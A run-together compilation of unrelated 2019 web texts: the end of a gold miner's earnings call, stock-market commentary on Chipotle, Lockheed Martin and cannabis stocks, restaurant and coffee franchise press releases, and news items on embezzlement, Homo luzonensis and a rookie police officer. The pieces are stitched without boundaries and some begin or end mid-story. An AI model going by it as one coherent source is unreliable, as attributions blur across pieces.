Q2 shutdown that you mentioned there earlier on the call, how many weeks will that roughly be and should we expect -- what should we kind of expect for sustaining CapEx for that quarter? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, the shutdown will -- is presently scheduled for 60 days. As far as the CapEx on the quarter, we'll have to get back to you on that number. I don't have that number specifically at this stage. Mike Parkin -- National Bank Financial -- Analyst Okay. No, I appreciate that. Congrats on the quarter and all the best with Nunavut. Thanks. Operator -- Your next question is with Anita Soni with CIBC. Please go ahead. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Good morning. My question, a little bit more on some of the grades. Let's start with Goldex. It outperformed on grade this quarter versus your guidance, I think substantially. I think it was 1.77 versus about 1.57. Do you expect that to sort of average out over the course of the year or is that just a bonus for Q1 and move on with the rest of 1.57? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe I think the -- as they continue to accelerate the -- and get maturity on the Rail-Veyor system we've -- on this quarter, we've had a larger proportion of work from Deep 1 sectors, which have contributed the portion of that. We're also mining about a stope per month from the higher grade South Zone, so all of these factors are sort of contributing. And South Zone, this tendency will continue for the rest of the year. And I think we should continue to see pretty regular grade profile for the next little while at Goldex. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Okay. That sounds great. And then on Malartic, a similar question. I think the guidance was about 1.16 and you start at 1.18. And as I recall, as you get down to the bottom of the pit, the grades continue to get better. Is that, again, something that we should expect to have better grades than what was probably anticipated at the beginning of the year? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, quarter-over-quarter we'll have slight variance, but the grades in certain periods tend to go up. But at this stage, it will meet -- you will meet the guidance for the end of the year. And as we get into Barnat late in '19 and early 2020, it will be additional grade improvements. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Additional grade improvements, but does this start out higher grade at start, because you were sort of higher up in the pit it's going to start out a little bit lower and then progress as you go down. Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Sorry, I didn't hear the question, Anita. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Sorry. With the Barnat start-up is that immediately higher grade than what you're -- than what the average is for the year or what you would see at the bottom of the pit at Canadian Malartic or is that start off with a slightly lower grades? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, it will start probably at average grade and build up to what the grade in Barnat is. I think the average grade there is about 1.2 or so. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst All right. And then the last question is with regards to LaRonde, on the byproducts. It seems like some of the recoveries for lead and zinc, I think in particular, maybe even copper -- sorry, not copper -- and silver were, I guess, a lot better than expected. Is that something that you expect to continue or was that just something you're not willing to predict at this point? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, we've had quite a bit of variability on some of our base metal streams as some of our zinc is cyclical, depending on the mining sequence. Copper has been quite steady. But, overall, the performance and the finalization circuit have been pretty strong both on the gold and silver side. So I think what you see now should be close to what you should see going forward. But it's highly grade dependent. Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Okay, thank you very much. Operator -- Your next question is with Carey MacRury with Canaccord Genuity. Please go ahead. Carey MacRury -- Canaccord Genuity -- Analyst Hi, good morning. Just a question on Upper Canada -- Upper Beaver. You've talked about evaluating different scenarios there. I'm just wondering if you can provide a little more color on what specifically you're looking at there at the stage? Sean Boyd -- Chief Executive Officer Well, actually, we're mostly focusing on upgrading our resources model, fine-tuning the resources for year-end, adding some more interest. I mean, in the meantime, as you mentioned, we're looking at what could be done at both Upper Beaver and Upper Canada. And recently we've been paying attention to the near surface portion of Upper Beaver where we see potentially an opportunity to end scenario at Upper Beaver. And we'll get a better grasp about potential scenario as 2019 goes by and we should be in a better position by year-end to provide more color on that. Carey MacRury -- Canaccord Genuity -- Analyst Thank you. Operator -- Your next question is with Ralph Profiti with Eight Capital. Please go ahead. Ralph Profiti -- Eight Capital Management -- Analyst Thanks, operator. Thanks for taking my question. I don't want to jump again on Kirkland. But you are seeing these deeper intercepts down to 400 meters and in this recent drill hole then you're seeing mineralization down even further. Can I assume that the work that you're doing includes both open pit and underground options? And then what's the plan for the copper at Kirkland? Is it significant enough that you'd potentially want to monetize that as a credit? Sean Boyd -- Chief Executive Officer Well, to answer maybe the first part of your question, we were at first, obviously, investigating how much we can grow that resources and we know that it's always nice to have confidence that we can continue to grow. So we've been testing both the deep extension that have been successful, demonstrating that keeps on going for another 400 meter of depth. But in the meantime, we know that closer to surface through a ramp potentially that we could track the near surface portion of the deposit. But we're not that point in time for Upper Beaver. It is very unlikely that we'll do anything from an open pit. And for Upper Canada, we don't know enough about it yet to figure out what is the best development scenario for Upper Canada. Ralph Profiti -- Eight Capital Management -- Analyst Right, got it. Okay. And maybe just to follow up. I'd like to just talk a little bit about opportunities to control costs in Nunavut. Can you talk maybe a little bit about the lessons that you've learned? And as you potentially try to manage costs there, are there opportunities in the area of, say, power or logistics that you're going to continue to look at? Where are the opportunities? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, I think on the power side, there is several ideas that are under way to look at adding cleaner energy and wind turbines. The rest is -- I think, we -- lot of discussions with the government on infrastructure that would be quite helpful down the road in trying to reduce the overall logistic reality of dealing in Nunavut. But at this stage, we'll be more focused over the next year and a half on trying to get the plant up to -- plants and the mine up to speed, but also focus more on productivity to keep the cost structure down. I think that'll be mostly our focus. Ralph Profiti -- Eight Capital Management -- Analyst Yeah, yeah. Got it. Okay, thanks for that. Very helpful. Operator -- Your next question is with Steve Butler with GMP Securities. Please go ahead. Steven Butler -- GMP Securities L.P. -- Analyst Thank you, operator. Guys, just coming back to Amaruq, where you had this slightly higher grades reported in the Whale Tail from pit initial ores. I guess, obviously, it's still very early days. But maybe you can make a -- do you have a, say, general comment on how slightly higher grade it is percentage wise, if you can share that? And if you're considering to any changes to your top cut factors or it's obviously, still early days? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Yeah. Since it's certainly early days, Steve, I'll get back to you on that part in Q3, Q4. Steven Butler -- GMP Securities L.P. -- Analyst Okay. And then the ore sorting, you talked about ore sorting at Pinos Altos and Sinter. Obviously, again, it's still at preliminary stages there. But can you comment on what you're seeing in the Sinter results and where do you see ore sorting going next in terms of pilot studies at the other assets? Jean Robitaille -- Senior Vice President of Business Strategy and Technical Services Hi, Steve, Jean speaking. We have a process presently and this is a pilot plant and we have -- it's following the result that we are obtaining to exactly in line with what we were expecting, but it's really early stage. So eventually, throughout the organization or on the other side, we have some plan and we have to do the demonstration at -- of those first. But it's encouraging up to now, but it's really early stage. Steven Butler -- GMP Securities L.P. -- Analyst Okay. Better head on the questioning there on two fronts. Thanks guys. Operator -- And your last question comes from Tanya Jakusconek with Scotiabank. Please go ahead. Tanya Jakusconek -- Scotiabank -- Analyst Hi, everybody. And congratulations on the good quarter. A lot of my questions have been answered. I just wanted to come back to Yvon and maybe Dave Smith on Amaruq and Meliadine. Just on the commercial production, let's start with Amaruq. Yvon, how are you going to define that? It appears that you are already going to be putting some ore and have been putting ore through the Meadowbank mill. So could we potentially have production in Q2? I know, Sean mentioned production and commercial production in Q3. So I'm just kind of wondering the definition of commercial and whether we have ore -- pre-commercial production in Q2? Sorry I can't hear you. Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Sorry, the microphone was closed. The definition of commercial production in this case will mainly be on profitability and the commissioning of the plant were already been done on the Meadowbank ore. So I think once we've processed about 30 days of Amaruq ore, we'll probably be in a position to declare commercial production there. Tanya Jakusconek -- Scotiabank -- Analyst So sorry -- again, you're breaking up, is it like 30 days -- is that what I heard? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Yeah. Tanya Jakusconek -- Scotiabank -- Analyst Because I think your pre-commercial production guidance for Amaruq was 40,000 ounces. And I think that implies about 1.5 to 2 months. Is that about correct? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Correct, yeah. But we might be processing some ore in June as well, so -- we'll in Q2, so we'll thread that reality going forward. Tanya Jakusconek -- Scotiabank -- Analyst Okay. So that one might be a bit conservative then. And just on the Meliadine, I think there was 60,000 of pre-commercial production there. If you look like you're going commercial in May that would imply more 30,000 to 40,000 ounces of pre-commercial. Is that about right? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe It could be, yes. But I think at this stage, we're probably targeting a little bit higher than that and you'll find out over the next several weeks, I guess. Tanya Jakusconek -- Scotiabank -- Analyst Yeah. Also a good news though. Okay. Thank you so much. Sean Boyd -- Chief Executive Officer Yeah. Just as a follow up on that, Tanya. Ultimately, if it -- is it 60,000 credited on Meliadine or 40,000 credited on Amaruq, it's too early to say. We're certainly getting closer on Meliadine. So that impacts where we land in terms of capital on the projects. But I think we're comfortable enough to say, if we're early and we don't have the credits of 60,000 against Meliadine and 40,000 against Amaruq, because we've come to the commercial production earlier, we should still be in a position where the total -- and in Nunavut collectively for both projects is slightly under budget. So we're just working through a lot of those parameters as we commission both operations. Tanya Jakusconek -- Scotiabank -- Analyst Absolutely. And also you would be closer to actually having free cash flow. Sean Boyd -- Chief Executive Officer Yeah. Tanya Jakusconek -- Scotiabank -- Analyst Okay, thank you so much. Sean Boyd -- Chief Executive Officer Thank you. Operator -- (Operator Instructions) We have no further audio questions at this time. I now turn the call back over to you, Mr. Boyd. Sean Boyd -- Chief Executive Officer Thank you, operator and thanks, everyone for the good questions. And hope to see some of you at our Annual Meeting this morning at 11 O'clock. Thanks again. Operator -- This concludes today's call. You may now disconnect. Duration: 38 minutes Call participants: Operator -- Sean Boyd -- Chief Executive Officer Fahad Tariq -- Credit Suisse Securities LLC -- Analyst Stephen Walker -- RBC Capital Markets -- Analyst Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe John Tumazos -- John Tumazos Very Independent Research LLC -- Analyst Mike Parkin -- National Bank Financial -- Analyst Anita Soni -- The Canadian Imperial Bank of Commerce -- Analyst Carey MacRury -- Canaccord Genuity -- Analyst Ralph Profiti -- Eight Capital Management -- Analyst Steven Butler -- GMP Securities L.P. -- Analyst Jean Robitaille -- Senior Vice President of Business Strategy and Technical Services Tanya Jakusconek -- Scotiabank -- Analyst More AEM analysis Transcript powered by AlphaStreet This article is a transcript of this conference call produced for The Motley Fool. While we strive for our Foolish Best, there may be errors, omissions, or inaccuracies in this transcript. As with all our articles, The Motley Fool does not assume any responsibility for your use of this content, and we strongly encourage you to do your own research, including listening to the call yourself and reading the company's SEC filings. Please see our Terms and Conditions for additional details, including our Obligatory Capitalized Disclaimers of Liability. What happened Shares of Chipotle Mexican Grill (NYSE:CMG) are down 5% at 3:20 p.m. EDT on April 25, following a disclosure in the company's 10-Q filing before market open today. In the release, Chipotle disclosed that: On April 18, 2019, we received a new subpoena requesting information related to illness incidents associated with the specific restaurants in Simi Valley, California, Boston, Massachusetts, Sterling, Virginia, and Los Angeles, California that were covered under the previous subpoenas, plus one additional restaurant in Powell, Ohio. This disclosure is likely playing a big role in the sell-off, particularly considering Chipotle's very strong quarter, which included a massive 10% increase in comps (same-restaurant sales) -- a measure of sales at locations open more than one year. The company said transactions -- a proxy for traffic -- increased 5.8% in the quarter, on the back of expanded ordering options including delivery from many of its restaurants. So what Management said on the earnings call that the big boost in sales really paid off on the bottom line. Digital sales doubled in the quarter, helping boost operating margin to 21% at the restaurant level, and pushing earnings to $3.13 per share, 47% higher year over year. This marked the fifth consecutive quarter of comps growth, and was easily the company's biggest jump in comps in years. Management spent a lot of time on the earnings call talking about recent innovations to drive customer traffic higher, which makes sense considering how well those efforts appear to be working. But there wasn't any mention of the recent subpoena on the call. Now what Frankly, it wasn't surprising that management didn't bring up the subpoena, nor should it be viewed as an indication of nefarious intent that it was "buried" in the company's quarterly earnings filing. After all, the company just had a blowout quarter, and largely because it's finally starting to get traction with bringing more customers back into its restaurants, after more than a year of relatively stagnant traffic. Moreover, probably too much is being read into the threat of this recent subpoena. There's been an ongoing investigation into the foodborne-illness incidents Chipotle has experienced going back as far as 2013, and this latest subpoena was only "new" in that it added a request for information related to last year's incident at a Powell, Ohio restaurant which no prior subpoenas had covered. Don't get me wrong: I'm not saying to dismiss the potential financial risk out of hand. But it's not exactly new, and it doesn't really alter the risk profile. There's a very good chance that much of today's selling isn't a direct product of the subpoena, but a result of some investors simply looking for a reason to sell. After all, Chipotle stock has more than doubled over the past year, crushing the S&P 500. In other words, today's sell-off is likely just a lot of profit-taking by investors looking for a reason to pull the trigger. The business continues to execute incredibly well, and as it showed last quarter, it's at the point where its operating model can deliver big profit growth from a relatively modest increase in sales. Wall Street was expecting big things from Lockheed Martin's (NYSE:LMT) first quarter, and the company more than delivered. Lockheed reported earnings of $5.99 per share, easily beating the $4.32 consensus estimate and well above the $4.02 per share it earned a year prior. The company also reported a massive backlog and stronger-than-expected operating margins, and raised its outlook for the full year. Investors were pleased, sending Lockheed Martin shares up 5.6% on April 23 following the earnings release. Lockheed Martin execs say the best is still to come, but the stock is now up more than 27% year to date. Here's a look at the quarter, and the company's outlook for the rest of 2019 and beyond, to see if there is still time for investors to climb aboard. Firing on all cylinders Lockheed Martin saw strength throughout all of its businesses, with missile revenue up 40%, aeronautics up 27%, and mission systems and space each growing more than 10%. The companywide operating margin for the quarter was 15.9%, well above the 14% estimate, allowing Lockheed to generate more than $1.38 billion in free cash flow during the quarter. 1Q19 Sales 1Q18 Sales 1Q19 Profit 1Q18 Profit Aeronautics $5,584 $4,398 $585 $474 Missiles $2,350 $1,677 $417 $261 Rotary and mission systems $3,762 $3,223 $379 $311 Space $2,640 $2,337 $334 $264 The quarter was likely helped by a sharp year-over-year increase in Department of Defense outlays during the first three months of 2019, but Lockheed Martin forecast optimism for the full year as well. The company said it expects to earn $20.05 to $20.35 per share in all of 2019 on revenue of between $56.75 billion and $58.25 billion, higher than the company's prior forecast and ahead of the current consensus for $19.58 per share in earnings on sales of $56.81 billion. The strength of Lockheed Martin's portfolio, which includes the F-35 Joint Strike Fighter, the Aegis missile system, Sikorsky helicopters, and a bevy of rockets, missiles, and ancillary products, is well known. If there was a surprise in these results, it is the timing of the outperformance. Going into earnings there were fears that a range of political and geopolitical risks could put a damper on 2019, but those fears, at least in the opening months of the year, were apparently overblown. Better from here As good as the first quarter was, the raised guidance for the full year could still end up looking conservative. Lockheed Martin finished the quarter with a record backlog of more than $130 billion in orders. The company's book-to-bill is 1.2, including 2.7x for space and nearly 2.0x for missiles. Those numbers could grow larger still. In the weeks since the quarter ended, Lockheed Martin has either formalized or acknowledged more than $10 billion worth of additional orders. The company in March received an initial $945.9 million down payment for a Terminal High Altitude Area Defense (THAAD) missile defense system headed to Saudi Arabia, which was followed by an additional $2.5 billion on April 1, just after the quarter ended. Lockheed has also added major space and aviation orders in April. Lockheed Martin is the industry leader in hypersonics, missiles that can travel more than five times the speed of sound, which is an area that seems poised for growth in the years to come. CEO Marillyn A. Hewson, on a call with investors following earnings, cited hypersonics as an example of the company "aligning with the priorities of our customers," opening up opportunities. We've been investing in hypersonics for many, many years, and as a result of that I think that's why we're leading in this front end of being able to bring capability forward. In terms of how the market is developing and it's basically threat-driven. If you look at what was in the National Defense Strategy, what's in the initial defense review, what you're seeing are near peer competition with China and Russia; I mean it's clearly a growing need for us to be able to not only address hypersonics, but counter hypersonics as well. As the F-35 matures, Lockheed Martin is seeing increasing aftermarket and sustainment revenue that is helping boost margins on the program. But there is some vulnerability there as well. A planned sale of 100 F-35s to Turkey is in jeopardy due to that nation's complex relationship with the United States. The Air Force is also ramping up interest in Boeing's last-generation F-15 in part because of ongoing affordability issues with the F-35, raising questions over whether the F-35 will ever reach its full potential. It's not too late Lockheed Martin, despite its size, scale, and exposure to many of the Pentagon's top priorities, does not trade at a premium to its peers. The company also boasts the top dividend yield among major defense contractors, at 2.5%, and should have ample cash to continue its dividend and buyback program. There are still near-term risks, including the Turkey F-35 situation and the possibility of a government shutdown or return to sequestration if Congress and the White House cannot agree to a budget deal this summer. But given Lockheed Martin's huge backlog and the continuing influx of new orders, the company looks like a good bet to see revenue and earnings continue to climb through 2020 and even into 2021. Even after a blockbuster first quarter, Lockheed Martin can still soar higher. Every day, Wall Street analysts upgrade some stocks, downgrade others, and "initiate coverage" on a few more. But do these analysts even know what they're talking about? Today, we're taking one high-profile Wall Street pick and putting it under the microscope... Canadian pot stocks are on fire. Since the year began, shares of HEXO (NASDAQ:HEXO) are up 35%, Aurora Cannabis (NASDAQ:ACB) has gained 71%, and Canopy Growth (NASDAQ:CGC) has soared 87%. Yesterday evening after close of trading, Canadian financial holding company Desjardins added fuel to that fire with a trio of new buy ratings for all three of these stocks. According to the analyst, a share of Hexo stock that costs $7.65 today could sell for $10.41 -- a 36% profit in just one year. Aurora Cannabis shares now selling for less than $9 could rise a similar 36% to fetch $12.26. And Canopy Growth -- the most expensive pot stock on the market, with a market capitalization of $17.3 billion and a share price of more than $50 -- could tack on an additional 10% and rise to $55.01. All three stocks surged this morning as investors got their first chance to trade on the news -- but it's the reasoning behind why Desjardins is predicting this that should worry you. Slow burn Canadian cannabis sales shot out of the gate after Canada became the first major industrialized nation to legalize recreational marijuana sales in October last year. But as my fellow Fool.com contributor Sean Williams pointed out last month, enthusiasm for legal pot cooled rather quickly, and sales aren't really up to snuff. From legalization to the close of the year, recreational pot sales at Canadian cannabis stores amounted to just $115 million, implying an annualized rate of sale of just $500 million or so -- a far cry from the $4 billion, $5 billion, or even $10 billion market opportunity that some investors were forecasting. Why have Canadian cannabis sales failed to measure up? There are a number of factors at play, ranging from the fact that this is a market in its infancy, and pot producers haven't yet had much time to scale up production -- resulting in a supply crunch -- to delays in Health Canada issuing permits to grow, process, and sell marijuana. Betting on hype And in making its buy recommendations last night, Desjardins didn't ignore this fact. Acknowledging that early marijuana sales data from Canada has been "underwhelming," Desjardins cites production ramp challenges, as well as logistical and distribution issues as obstacles to overcome, in a note covered by TheFly.com. Nevertheless, Desjardins has decided to recommend HEXO, Aurora Cannabis, and Canopy Growth anyway, arguing that there's still a lot of "hype" regarding the legalization of marijuana in Canada. Furthermore, Desjardins believes the legal marijuana market is a "global" one -- or at least, it will become more and more global as the U.S. and more countries follow Canada's lead and legalize recreational marijuana use within their own borders. But is that really a good reason to buy? Of course, there still remains the question of whether "hype" can outweigh the fact that all three of these companies -- Hexo, Aurora, and yes, even market leader Canopy Growth -- are expected to lose money in the first full year of Canadian legalization, according to analysts polled by S&P Global Market Intelligence. Plus, the global profits that Desjardins is anticipating are far from guaranteed. As Sean pointed out in his March column, in California, legal marijuana sales generated barely half the tax revenue they were expected to in 2018 -- just $345 million when $643 million had been baked into the budget. One of the problems with that thesis: "rampant dried flower oversupply" is driving down prices (and consequently, taxes on sales) in California and other U.S. states that have legalized. This suggests that, even after broader legalization, cannabis companies struggling to earning a profit on marijuana may turn out to be more than just Canadian problem. To borrow the term from Desjardins: It could be a "global" one. Fresh Catch: White Spot Presented With Ocean Wise Sustainable Seafood Honour At The 2019 Where To Dine Vancouver Awards First Time Annual Award Has Been Presented to a Restaurant Chain in Recognition of its Ongoing Commitment to Source, Serve and Promote Sustainable Species April 25, 2019 // Franchising.com // VANCOUVER, BC - Beloved BC institution White Spot became the first restaurant chain to be honoured with the Ocean Wise Sustainable Seafood Award at the 2019 Where To Dine Vancouver Awards that were held yesterday at Parq Vancouver. The award is presented annually to a restaurant that best exemplifies practices of sourcing, serving and promoting sustainable species outlined under the Ocean Wise Seafood program. Since becoming an Ocean Wise partner in 2017, White Spot has tackled the issue head on and has become a champion of sustainable seafood, said Sophika Kostyniuk, manager of the Ocean Wise Seafood program. As one of Canadas largest restaurant chains, it has enormous impact raising awareness about protecting our oceans for future generations. We are very impressed with their commitment to creating positive change?. While many of White Spots core menu selections were already ocean-friendly, the chain officially joined the Ocean Wise Seafood program in 2017 and introduced its Ocean Wise menu to locations across BC and Alberta. Today, the chain counts more than a dozen Ocean Wise dishes on its core menu at its restaurants and Triple Os locations including its signature clam chowder, chargrilled salmon and seafood trio, West Coast salmon burger and the Spots Fish & Chips. Its an honour to accept this award on behalf of White Spot and we sincerely thank Ocean Wise for this recognition, said White Spot Director of Supply Management Jennifer Martin, accepting the award in front of the standing-room-only crowd of the local hospitality industrys best and brightest. This initiative evolved from our ongoing commitment to the environment and sustainability and thanks to the vision of our leadership, culinary team and support of our vendors, we have been able to make this possible. As part of the four pillars of its overall food philosophy, White Spot regularly works with supply chain partners, stakeholders and advisers in order to ensure it is adhering to its own mandates regarding issues surrounding animal welfare, the environment and sustainability, food safety, and health and nutrition. White Spot buys more fresh, locally grown and responsibly procured ingredients than any other company in BC, says White Spot Executive Chef Danny Markowicz. Every one of our dishes starts with us incorporating ingredients that are handled with care to ensure we are doing what we can to preserve our environment for future generations. White Spot recently reaffirmed its commitment to those core principles by introducing the 100%-plant-based Beyond Burger patty to its menu of signature burgers and entrees at all full-service White Spot restaurants in BC and Alberta, with its quick-service brand Triple Os to follow suit on Monday, May 6. Other environmentally friendly measures undertaken by the chain include eliminating plastic straws and using paper packaging that is 100% recyclable, compostable and biodegradable. For the latest news about White Spot, register to receive Spot Club emails at whitespot.ca, become a fan of /whitespot on Facebook or follow @White_Spot on Twitter, @whitespot_restaurants on Instagram and /whitespotrestaurants on YouTube. About White Spot Restaurants Headquartered in Vancouver, British Columbia, White Spot is Canadas longest-running restaurant chain, celebrating their 90th year. Founded in 1928, when Nat Bailey launched Canadas first drive-in restaurant at Granville and 67th, the 90-year-young chain now sees more than 17 million guests annually at 133 White Spot and Triple Os locations throughout B.C., Alberta and Asia. Baileys original vision was to build a restaurant that served the highest quality, unique tasting food and White Spot remains committed to continuing this tradition in each and every meal. White Spot Limited is proud to be recognized with the platinum status designation as one of Canadas Best Managed Companies, one of Canadas top 150 iconic brands as awarded by Interbrand Canada, and a member of Forbes list of Top Employers of Canada. | whitespot.ca Twitter: @White_Spot | Facebook: /whitespot | Instagram: @whitespot_restaurants About The Ocean Wise Seafood Program Overfishing is a major threat to our oceans. With thousands of Ocean Wise seafood partner locations across Canada, Ocean Wise makes it easy for consumers to choose sustainable seafood for the long-term health of our oceans. The Ocean Wise symbol next to a seafood item is the Ocean Wise assurance of an ocean-friendly seafood choice. | www.ocean.org/seafood Twitter: @OceanWiseLife | Facebook: /oceanwiselife | Instagram: @oceanwiselife Media Contacts: Shelley McArthur Everett SMC Communications Inc. For White Spot Restaurants 604-219-9042 smc@shelleymcarthur.com Ashley Szczepaniak SMC Communications Inc. For White Spot Restaurants 604-368-4405 ashley@shelleymcarthur.com SOURCE White Spot Restaurants ### Comments: Please enable JavaScript to view the comments powered by Disqus. Disqus Scooters Coffee Adds First Coffee Drive-thru Location To Storm Lake, IA New Store To Celebrate Grand Opening On Friday, May 3 April 26, 2019 // Franchising.com // Storm Lake, IA - Scooters Coffee, the Midwest-based coffee franchise that has experienced tremendous growth over the past year, added its first location in Storm Lake, IA, with the companys latest opening at 801 Seneca Street. To celebrate, the location will be hosting a Grand Opening on Friday, May 3, with giveaways throughout the day. Opening a location in Storm Lake has surpassed our expectations, stated Mike Rogers, Chief Operating Officer of Scooters Coffee. The excitement in the community has been more than we could have ever hoped for, and were excited to continue to serve up our world-class coffee and smiles for Storm Lake residents. On Grand Opening Day, customers can expect to receive several fun giveaways: 10 a.m. - First 50 customers will receive a free $5 gift card with purchase 1 p.m. - First 50 customers will receive a free Scooters Coffee tumbler with purchase 4 p.m. - First 50 customers will receive a free Scooters Coffee t-shirt with purchase Franchisees Lindsey and Blake Jochim own this location. We were over the moon to open up a location in Storm Lake, said Lindsey. The community response has been overwhelming, and we already feel like were a part of the Storm Lake family. We look forward to meeting and getting to know all of our Storm Lake customers! Scooters Coffee serves coffee, smoothies, tea, blenders, iced drinks, pastries and more. In addition, the brand offers a mobile app. The app allows customers to quickly pay for purchases by scanning a barcode linked to a registered Scooters Coffee gift card. The app also includes a loyalty program and other features. Acting as a digital punch card, customers earn smiley faces when they use the app for purchases, then can redeem their smiley faces for a free drink after collecting 12. In addition, the app will enable customers to access special offers, view the nearest locations, browse the full Scooters Coffee menu and track purchases. In line with their successful and robust grand opening strategy, Scooters Coffee recently opened five locations throughout Kansas and Missouri, opened the second of many locations in Arkansas and is opening additional locations in markets such as Dallas, Texas and Northern Colorado. Scooters Coffee is a drive-thru franchise that has been serving world-class coffee for over 20 years. It roasts only the finest beans, and it makes that first-morning sip convenient and rewarding for its customers across the nation. Scooters Coffee has over 200 locations in 14 states and has over 200 franchise commitments to build new stores. To find out why Scooters Coffee is among the best coffee franchises in the nation and to learn more about franchise opportunities, visit ownascooters.com. About Scooters Coffee Founded in 1998 by Don and Linda Eckles in Bellevue, Nebraska, Scooters Coffee roasts only the finest coffee beans in the world at its headquarters in Omaha, Nebraska. In more than two decades of business, Scooters Coffees success is simple: stay committed to the original business principles and company core values. The Scooters Coffee Brand Promise, often recited to franchisees, customers and employees is: Amazing People, Amazing Drinks Amazingly Fast! It represents the companys business origins from 1998 and reflects a steady commitment to providing an unforgettable experience to loyal and new customers. Scooters Coffee specializes in hand-tamped espresso drinks, fruit smoothies, baked-from-scratch pastries and features its signature drink, the Caramelicious. The company also serves a line of hot and iced organic teas, single-origin coffee and the original Cold Brew & Cream. This year, one of Scooters Coffees drink innovations includes Red Bull Infusions. Scooters Coffee is at the dawn of a strategic growth phase in the Midwest and nationwide. The U.S. coffee market is an estimated $48 billion a year recession-resistant industry, and Scooters Coffee is striving to become the #1 drive-thru coffee franchise in the nation. Visit ownascooters.com to learn more about the benefits of owning a franchise of a well-established company. For more information, visit scooterscoffee.com, facebook.com/scooterscoffee, ownascooters.com or call 877-494-7004. SOURCE Scooters Coffee ### Comments: Please enable JavaScript to view the comments powered by Disqus. Disqus Meanwhile, according to a news release from LOWA, it hired an accounting firm to perform a forensic audit, which revealed 95 unauthorized transactions totaling $457,134. The home association filed an insurance claim with its fidelity bond insurance provider and has since been reimbursed $369,000. Brown testified Mayberry admitted to using the embezzled funds for life, and that the defendant falsified documents to internal auditors to hide his actions. Financial records show the money was used for food, mortgage payments and utilities, he added. According to an affidavit Brown submitted for a search warrant in Stafford, Mayberry told police his mother became terminally ill in May 2017 and he began stealing because the expenses associated with her illness were beyond his means. However, court records reveal offense dates between 2014 and 2018. Mayberrys mother died in December 2017. Metro Manila (CNN Philippines, April 26) --- The Filipino professor who led the discovery of a new human-linked species wants to pursue a wider search for fossils, setting sights on potential excavation sites with the help of other archaeologists. After unearthing the remains of the Homo luzonensis an older species discovered in Cagayan Dr. Armand Mijares, is now looking to broaden their search for fossils. Mijares, associate professor at the University of the Philippines Archaeological Studies Program, led a team of Filipino and foreign researchers in digging 2.6 meters from the surface of Callao Cave in a span of four years, where they found the remains of two adults and one child dating back at least 50,000 years ago. READ: Meet the Filipino professor who led the discovery of a new human-linked species A big part of this expanded search relies on available talent to carry out the tedious and highly technical task. Ever since, Ive been looking around the Philippines. In Boracay, we actually surveyed Aklan. Malay and Buruanga, there are actually a lot of cave sites and there are some potentials there, Mijares told CNN Philippines The Source. Believed to be among the predecessors of the Homo sapiens or the modern man, the Homo luzonensis is named after the Luzon island where the fossils were discovered. Mijares explained that they initially wanted to name the species as Homo philippinensis, but this had already been taken by an archaeologist from way back the 1920s. Mijares said he is scouting for new excavation sites beyond Cagayan and Palawan, where the Tabon Man had been discovered by American archaeologist Robert Fox. The Tabon Man was discovered inside a cave in 1962, with its skeletal remains dating to 14,000 B.C. Now, Mijares wants to go beyond Luzon for future archaeologic finds. [N]obody has been searching for other sites. There are a few archaeologists in the Philippines, so we really need to hype it up to produce more archaeologists to be able to span whats happening in Visayas and Mindanao, the professor added. As it is, Mijares discovery is a global breakthrough. He said that the Homo luzonensis puts the Philippines at the center of evolutionary debate, following the publication of his intensive research. Mijares believes the Homo luzonensis could be skilled tree-climbers, judging from the curved foot bone which they dug up. He clarified that the species is not our ancestor. For now, Mijares is looking to go deeper in Callao Cave next year in search for more remnants while simulations are done on the extracted bones to visualize how the species looked like. Initial data show that the Homo luzonensis may be much smaller, with its stature closer to the negrito. He is also leading another excavation in Biak-na-Bato in San Miguel, Bulacan with a team from the Bulacan State University. We will look for more fossils, Id also want to train more people to explore other islands in the Philippines. With that, we can be able to do more discoveries, Mijares said. Jacob Coons not your typical rookie police officer. At age 40, hes seen plenty of life experience but none in law enforcement. In his earlier years, he worked in the ministry following an educational path that started back in high school. When I had the opportunity to apply for the position at Philomath and they made the decision to hire me, I thought that was a great opportunity to do something that Ive wanted to do for a really long time, Coon said. Coon was among those who graduated last month from the Oregon Department of Public Safety Standards and Training basic police class in Salem. We knew him from when he did volunteer time at the (Philomath) Frolic, so we knew about him and we knew he was interested but we didnt know if he was ready to make the lifelong commitment to be a police officer, said Philomath Chief of Police Ken Rueben. It was refreshing to talk to him early on in the hiring process. But he went on a bunch of ride-alongs and got to know the guys and decided it was time for a career change. Coon learned that he had earned the job in November and he started at the academy Dec. 10. Although Coons past did not include any experience in law enforcement, it had always been in the back of his mind. Ive always had a high regard for law enforcement, military, those occupations who take it upon themselves that when people are in need, their job is to run in instead of run away from danger, he said. Ive had a lot of respect for that. Coon grew up in South Corvallis and lived in Kansas, Missouri and eastern Washington before returning to Oregon. I originally went into the ministry and thats a service to people and this is an extension of that, Coon said. This is another way to serve people. Training at the academy provided challenges on a few different levels for Coon. They work you really hard in PT (physical training) and they work you really hard in what we call DT (defensive tactics), Coon said. Sometimes, those were one right after the other and so you had a full day of really, hard physical work. But in reality, it was another aspect of the training academy experience that provided the biggest challenge. For me, honestly, the most challenging thing was being 40 and its like hitting reset, he said. Youre coming back in and being treated like you dont have any life experience and it sounds strange, but some of the rules here are so basic ... but they have to do that. Its part of the training. In other words, Coon had to pay attention to the rules. Youve got to learn to follow orders and do what youre told and listen closely to what youre being told, he said. I understand the reasons for it but for me, that was interesting. It was almost like a regression. Although age 40 might seem a little old to be a rookie officer, Rueben said its actually becoming more common. There are more and more midlife changes going on where you see a need for people in this arena, he said. Having a mature guy come 